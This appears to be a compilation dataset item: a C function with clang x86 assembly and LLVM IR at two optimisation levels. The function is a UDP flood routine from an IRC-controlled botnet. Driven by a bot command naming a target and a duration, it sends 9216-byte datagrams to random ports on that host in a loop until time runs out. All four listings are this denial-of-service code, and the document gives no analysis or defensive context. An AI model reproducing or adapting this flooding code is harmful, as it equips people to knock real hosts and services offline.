#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
typedef scalar_t__ time_t;
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  int /*<<< orphan*/ sin_port;
  int /*<<< orphan*/ sin_family;
  TYPE_1__ sin_addr;
};
struct sockaddr {
  int dummy;
};
struct hostent {
  int dummy;
};
typedef int /*<<< orphan*/ in;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ FIONBIO;
int /*<<< orphan*/ IPPROTO_UDP;
int /*<<< orphan*/ SOCK_DGRAM;
int /*<<< orphan*/ Send(int, char *, char *, ...);
unsigned long atol(char *);
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ host2ip(char *, char *);
int /*<<< orphan*/ ioctl(int, int /*<<< orphan*/, int *);
scalar_t__ malloc(int);
int /*<<< orphan*/ memset(void *, int /*<<< orphan*/, int);
scalar_t__ mfork(char *);
int /*<<< orphan*/ rand();
int /*<<< orphan*/ sendto(int, char *, int, int /*<<< orphan*/,
                          struct sockaddr *, int);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
scalar_t__ time(int /*<<< orphan*/ *);
void unknown(int sock, char *sender, int argc, char **argv) {
  int flag = 1, fd, i;
  unsigned long secs;
  char *buf = (char *)malloc(9216);
  struct hostent *hp;
  struct sockaddr_in in;
  time_t start = time(NULL);
  if (mfork(sender) != 0)
    return;
  if (argc < 2) {
    Send(sock, "NOTICE %s :UNKNOWN <target> <secs>\n", sender);
    exit(1);
  }
  secs = atol(argv[2]);
  memset((void *)&in, 0, sizeof(struct sockaddr_in));
  in.sin_addr.s_addr = host2ip(sender, argv[1]);
  in.sin_family = AF_INET;
  Send(sock, "NOTICE %s :Unknowning %s.\n", sender, argv[1]);
  while (1) {
    in.sin_port = rand();
    if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
      ;
    else {
      flag = 1;
      ioctl(fd, FIONBIO, &flag);
      sendto(fd, buf, 9216, 0, (struct sockaddr *)&in, sizeof(in));
      close(fd);
    }
    if (i >= 50) {
      if (time(NULL) >= start + secs)
        break;
      i = 0;
    }
    i++;
  }
  close(fd);
  exit(0);
}


x86 assembly (clang, -O0):
<unknown>:
push   %rbp
mov    %rsp,%rbp
sub    $0x60,%rsp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %edx,-0x14(%rbp)
mov    %rcx,-0x20(%rbp)
movl   $0x1,-0x24(%rbp)
mov    $0x2400,%edi
call   1090 <malloc@plt>
mov    %rax,-0x40(%rbp)
xor    %eax,%eax
mov    %eax,%edi
call   1080 <time@plt>
mov    %rax,-0x60(%rbp)
mov    -0x10(%rbp),%rdi
call   1030 <mfork@plt>
cmp    $0x0,%rax
je     1221 <unknown+0x51>
add    $0x60,%rsp
pop    %rbp
ret
cmpl   $0x2,-0x14(%rbp)
jge    124a <unknown+0x7a>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0xdc7(%rip),%rsi
mov    $0x0,%al
call   10a0 <Send@plt>
mov    $0x1,%edi
call   10d0 <exit@plt>
mov    -0x20(%rbp),%rax
mov    0x10(%rax),%rdi
call   10c0 <atol@plt>
mov    %rax,-0x38(%rbp)
lea    -0x58(%rbp),%rdi
xor    %esi,%esi
mov    $0xc,%edx
call   1040 <memset@plt>
mov    -0x10(%rbp),%rdi
mov    -0x20(%rbp),%rax
mov    0x8(%rax),%rsi
call   10b0 <host2ip@plt>
mov    %eax,-0x50(%rbp)
mov    0x2d62(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x54(%rbp)
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
mov    -0x20(%rbp),%rax
mov    0x8(%rax),%rcx
lea    0xd83(%rip),%rsi
mov    $0x0,%al
call   10a0 <Send@plt>
mov    $0x0,%al
call   10e0 <rand@plt>
mov    %eax,-0x58(%rbp)
mov    0x2d2f(%rip),%rax
mov    (%rax),%edi
mov    0x2d1e(%rip),%rax
mov    (%rax),%esi
mov    0x2cf5(%rip),%rax
mov    (%rax),%edx
call   10f0 <socket@plt>
mov    %eax,-0x28(%rbp)
cmp    $0x0,%eax
jge    12e3 <unknown+0x113>
jmp    1324 <unknown+0x154>
movl   $0x1,-0x24(%rbp)
mov    -0x28(%rbp),%edi
mov    0x2cdc(%rip),%rax
mov    (%rax),%esi
lea    -0x24(%rbp),%rdx
call   1050 <ioctl@plt>
mov    -0x28(%rbp),%edi
mov    -0x40(%rbp),%rsi
lea    -0x58(%rbp),%r8
mov    $0x2400,%edx
xor    %ecx,%ecx
mov    $0xc,%r9d
call   1060 <sendto@plt>
mov    -0x28(%rbp),%edi
call   1070 <close@plt>
cmpl   $0x32,-0x2c(%rbp)
jl     1354 <unknown+0x184>
xor    %eax,%eax
mov    %eax,%edi
call   1080 <time@plt>
mov    -0x60(%rbp),%rcx
add    -0x38(%rbp),%rcx
cmp    %rcx,%rax
jb     134d <unknown+0x17d>
jmp    1362 <unknown+0x192>
movl   $0x0,-0x2c(%rbp)
mov    -0x2c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x2c(%rbp)
jmp    12a8 <unknown+0xd8>
mov    -0x28(%rbp),%edi
call   1070 <close@plt>
xor    %edi,%edi
call   10d0 <exit@plt>

x86 assembly (clang, -O2):
<unknown>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x18,%rsp
mov    %rcx,%r14
mov    %edx,%ebp
mov    %rsi,%rbx
mov    %edi,%r12d
movl   $0x1,0x4(%rsp)
mov    $0x2400,%edi
call   1090 <malloc@plt>
mov    %rax,%r13
xor    %edi,%edi
call   1080 <time@plt>
mov    %rax,%r15
mov    %rbx,%rdi
call   1030 <mfork@plt>
test   %rax,%rax
je     1224 <unknown+0x54>
add    $0x18,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
cmp    $0x1,%ebp
jg     1247 <unknown+0x77>
lea    0xdd0(%rip),%rsi
mov    %r12d,%edi
mov    %rbx,%rdx
xor    %eax,%eax
call   10a0 <Send@plt>
mov    $0x1,%edi
call   10d0 <exit@plt>
mov    0x10(%r14),%rdi
call   10c0 <atol@plt>
mov    %rax,%rbp
lea    0x8(%rsp),%rdi
xor    %esi,%esi
mov    $0xc,%edx
call   1040 <memset@plt>
mov    0x8(%r14),%rsi
mov    %rbx,%rdi
call   10b0 <host2ip@plt>
mov    %eax,0x10(%rsp)
mov    0x2d6d(%rip),%rax
mov    (%rax),%eax
mov    %eax,0xc(%rsp)
mov    0x8(%r14),%rcx
lea    0xd98(%rip),%rsi
mov    %r12d,%edi
mov    %rbx,%rdx
xor    %eax,%eax
call   10a0 <Send@plt>
add    %r15,%rbp
mov    %rbp,%r12
mov    0x2d3a(%rip),%r14
mov    0x2d13(%rip),%rbp
jmp    12b4 <unknown+0xe4>
nop
add    $0x1,%r15d
xor    %eax,%eax
call   10e0 <rand@plt>
mov    %eax,0x8(%rsp)
mov    0x2d22(%rip),%rax
mov    (%rax),%edi
mov    (%r14),%esi
mov    0x0(%rbp),%edx
call   10f0 <socket@plt>
mov    %eax,%ebx
test   %eax,%eax
js     1319 <unknown+0x149>
movl   $0x1,0x4(%rsp)
mov    0x2ce8(%rip),%rax
mov    (%rax),%esi
mov    %ebx,%edi
lea    0x4(%rsp),%rdx
call   1050 <ioctl@plt>
mov    %ebx,%edi
mov    %r13,%rsi
mov    $0x2400,%edx
xor    %ecx,%ecx
lea    0x8(%rsp),%r8
mov    $0xc,%r9d
call   1060 <sendto@plt>
mov    %ebx,%edi
call   1070 <close@plt>
cmp    $0x32,%r15d
jl     12b0 <unknown+0xe0>
xor    %r15d,%r15d
xor    %edi,%edi
call   1080 <time@plt>
cmp    %r12,%rax
jb     12b0 <unknown+0xe0>
mov    %ebx,%edi
call   1070 <close@plt>
xor    %edi,%edi
call   10d0 <exit@plt>

LLVM IR (-O0):
%struct.hostent = type { i32 }
%struct.sockaddr_in = type { i32, i32, %struct.TYPE_2__ }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [36 x i8] c"NOTICE %s :UNKNOWN <target> <secs>\0A\00"
@AF_INET = global i32 0
@.str.1 = [27 x i8] c"NOTICE %s :Unknowning %s.\0A\00"
@SOCK_DGRAM = global i32 0
@IPPROTO_UDP = global i32 0
@FIONBIO = global i32 0
define void @unknown(i32 %0, i8* %1, i32 %2, i8** %3) {
%5 = alloca i32
%6 = alloca i8*
%7 = alloca i32
%8 = alloca i8**
%9 = alloca i32
%10 = alloca i32
%11 = alloca i32
%12 = alloca i64
%13 = alloca i8*
%14 = alloca %struct.hostent*
%15 = alloca %struct.sockaddr_in
%16 = alloca i64
store i32 %0, i32* %5
store i8* %1, i8** %6
store i32 %2, i32* %7
store i8** %3, i8*** %8
store i32 1, i32* %9
%17 = call i64 @malloc(i32 9216)
%18 = inttoptr i64 %17 to i8*
store i8* %18, i8** %13
%19 = call i64 @time(i32* null)
store i64 %19, i64* %16
%20 = load i8*, i8** %6
%21 = call i64 @mfork(i8* %20)
%22 = icmp ne i64 %21, 0
br i1 %22, label %23, label %24
23: ; preds = %4
ret void
24: ; preds = %4
%25 = load i32, i32* %7
%26 = icmp slt i32 %25, 2
br i1 %26, label %27, label %32
27: ; preds = %24
%28 = load i32, i32* %5
%29 = load i8*, i8** %6
%30 = call i32 (i32, i8*, i8*, ...) @Send(i32 %28, i8* getelementptr inbounds ([36 x i8], [36 x i8]* @.str, i64 0, i64 0), i8* %29)
%31 = call i32 @exit(i32 1)
unreachable
32: ; preds = %24
%33 = load i8**, i8*** %8
%34 = getelementptr inbounds i8*, i8** %33, i64 2
%35 = load i8*, i8** %34
%36 = call i64 @atol(i8* %35)
store i64 %36, i64* %12
%37 = bitcast %struct.sockaddr_in* %15 to i8*
%38 = call i32 @memset(i8* %37, i32 0, i32 12)
%39 = load i8*, i8** %6
%40 = load i8**, i8*** %8
%41 = getelementptr inbounds i8*, i8** %40, i64 1
%42 = load i8*, i8** %41
%43 = call i32 @host2ip(i8* %39, i8* %42)
%44 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %15, i32 0, i32 2
%45 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %44, i32 0, i32 0
store i32 %43, i32* %45
%46 = load i32, i32* @AF_INET
%47 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %15, i32 0, i32 1
store i32 %46, i32* %47
%48 = load i32, i32* %5
%49 = load i8*, i8** %6
%50 = load i8**, i8*** %8
%51 = getelementptr inbounds i8*, i8** %50, i64 1
%52 = load i8*, i8** %51
%53 = call i32 (i32, i8*, i8*, ...) @Send(i32 %48, i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.1, i64 0, i64 0), i8* %49, i8* %52)
br label %54
54: ; preds = %32, %84
%55 = call i32 (...) @rand()
%56 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %15, i32 0, i32 0
store i32 %55, i32* %56
%57 = load i32, i32* @AF_INET
%58 = load i32, i32* @SOCK_DGRAM
%59 = load i32, i32* @IPPROTO_UDP
%60 = call i32 @socket(i32 %57, i32 %58, i32 %59)
store i32 %60, i32* %10
%61 = icmp slt i32 %60, 0
br i1 %61, label %62, label %63
62: ; preds = %54
br label %73
63: ; preds = %54
store i32 1, i32* %9
%64 = load i32, i32* %10
%65 = load i32, i32* @FIONBIO
%66 = call i32 @ioctl(i32 %64, i32 %65, i32* %9)
%67 = load i32, i32* %10
%68 = load i8*, i8** %13
%69 = bitcast %struct.sockaddr_in* %15 to %struct.sockaddr*
%70 = call i32 @sendto(i32 %67, i8* %68, i32 9216, i32 0, %struct.sockaddr* %69, i32 12)
%71 = load i32, i32* %10
%72 = call i32 @close(i32 %71)
br label %73
73: ; preds = %63, %62
%74 = load i32, i32* %11
%75 = icmp sge i32 %74, 50
br i1 %75, label %76, label %84
76: ; preds = %73
%77 = call i64 @time(i32* null)
%78 = load i64, i64* %16
%79 = load i64, i64* %12
%80 = add i64 %78, %79
%81 = icmp uge i64 %77, %80
br i1 %81, label %82, label %83
82: ; preds = %76
br label %87
83: ; preds = %76
store i32 0, i32* %11
br label %84
84: ; preds = %83, %73
%85 = load i32, i32* %11
%86 = add nsw i32 %85, 1
store i32 %86, i32* %11
br label %54
87: ; preds = %82
%88 = load i32, i32* %10
%89 = call i32 @close(i32 %88)
%90 = call i32 @exit(i32 0)
unreachable
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, i32, %struct.TYPE_2__ }
%struct.TYPE_2__ = type { i32 }
%struct.hostent = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [36 x i8] c"NOTICE %s :UNKNOWN <target> <secs>\0A\00"
@AF_INET = global i32 0
@.str.1 = [27 x i8] c"NOTICE %s :Unknowning %s.\0A\00"
@SOCK_DGRAM = global i32 0
@IPPROTO_UDP = global i32 0
@FIONBIO = global i32 0
define void @unknown(i32 %0, i8* %1, i32 %2, i8** nocapture %3) {
%5 = alloca i32
%6 = alloca %struct.sockaddr_in
%7 = bitcast i32* %5 to i8*
store i32 1, i32* %5
%8 = tail call i64 @malloc(i32 9216)
%9 = inttoptr i64 %8 to i8*
%10 = bitcast %struct.sockaddr_in* %6 to i8*
%11 = tail call i64 @time(i32* null)
%12 = tail call i64 @mfork(i8* %1)
%13 = icmp eq i64 %12, 0
br i1 %13, label %15, label %14
14: ; preds = %4
ret void
15: ; preds = %4
%16 = icmp slt i32 %2, 2
br i1 %16, label %17, label %20
17: ; preds = %15
%18 = tail call i32 (i32, i8*, i8*, ...) @Send(i32 %0, i8* getelementptr inbounds ([36 x i8], [36 x i8]* @.str, i64 0, i64 0), i8* %1)
%19 = tail call i32 @exit(i32 1)
unreachable
20: ; preds = %15
%21 = getelementptr inbounds i8*, i8** %3, i64 2
%22 = load i8*, i8** %21
%23 = tail call i64 @atol(i8* %22)
%24 = call i32 @memset(i8* %10, i32 0, i32 12)
%25 = getelementptr inbounds i8*, i8** %3, i64 1
%26 = load i8*, i8** %25
%27 = call i32 @host2ip(i8* %1, i8* %26)
%28 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i64 0, i32 2, i32 0
store i32 %27, i32* %28
%29 = load i32, i32* @AF_INET
%30 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i64 0, i32 1
store i32 %29, i32* %30
%31 = load i8*, i8** %25
%32 = call i32 (i32, i8*, i8*, ...) @Send(i32 %0, i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.1, i64 0, i64 0), i8* %1, i8* %31)
%33 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i64 0, i32 0
%34 = bitcast %struct.sockaddr_in* %6 to %struct.sockaddr*
%35 = add i64 %23, %11
br label %36
36: ; preds = %54, %20
%37 = phi i32 [ undef, %20 ], [ %56, %54 ]
%38 = call i32 (...) @rand()
store i32 %38, i32* %33
%39 = load i32, i32* @AF_INET
%40 = load i32, i32* @SOCK_DGRAM
%41 = load i32, i32* @IPPROTO_UDP
%42 = call i32 @socket(i32 %39, i32 %40, i32 %41)
%43 = icmp slt i32 %42, 0
br i1 %43, label %49, label %44
44: ; preds = %36
store i32 1, i32* %5
%45 = load i32, i32* @FIONBIO
%46 = call i32 @ioctl(i32 %42, i32 %45, i32* %5)
%47 = call i32 @sendto(i32 %42, i8* %9, i32 9216, i32 0, %struct.sockaddr* %34, i32 12)
%48 = call i32 @close(i32 %42)
br label %49
49: ; preds = %36, %44
%50 = icmp sgt i32 %37, 49
br i1 %50, label %51, label %54
51: ; preds = %49
%52 = call i64 @time(i32* null)
%53 = icmp ult i64 %52, %35
br i1 %53, label %54, label %57
54: ; preds = %51, %49
%55 = phi i32 [ %37, %49 ], [ 0, %51 ]
%56 = add nsw i32 %55, 1
br label %36
57: ; preds = %51
%58 = call i32 @close(i32 %42)
%59 = call i32 @exit(i32 0)
unreachable
}